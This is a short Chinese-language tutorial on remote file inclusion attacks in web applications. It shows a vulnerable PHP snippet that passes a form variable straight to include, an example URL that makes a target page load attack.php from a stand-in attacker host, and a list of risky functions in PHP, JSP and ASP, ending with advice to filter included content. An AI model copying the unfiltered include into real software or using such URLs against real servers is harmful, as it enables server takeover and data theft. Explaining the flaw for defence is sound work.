* 惡意代碼執行攻擊利用的重點是web開發中引用變量做為程序執行的一部分代碼
* 惡意代碼執行攻擊的技術重點在于讓服務器執行了惡意代碼,從而完成入侵或數據盜取等行為
* 惡意代碼執行攻擊的方法重點在于Web開發中,對變量的引用的幾個關鍵部位沒有細化處理
本文主要介紹惡意代碼執行攻擊的過程而不是技術細節。
先看一段php代碼的例子:
$report = $_POST['file']; //定義report變量某個表單變量
include $report; //在代碼中包含此變量
如果攻擊者巧妙的利用這個漏洞,就可以令被攻擊服務器執行自己的惡意程序,類似的語法:
http://www.tester.com/index.php?file=http://www.hacker.com/attack.php
這時,程序就會讀取惡意的attack.php并引入到index.php中做為執行的一個部分!
此類攻擊對于腳本類網頁代碼最有效。
在編寫代碼時,尤其是利用以下的函數引用代碼片段時:
PHP:include(), include_once(), require(), require_once(), fopen(), readfile(), ...
JSP/Servlet:java.io.File(), java.io.FileReader(), ...
ASP:include file, include virtual, ...
應該對所引用的內容做安全的過濾!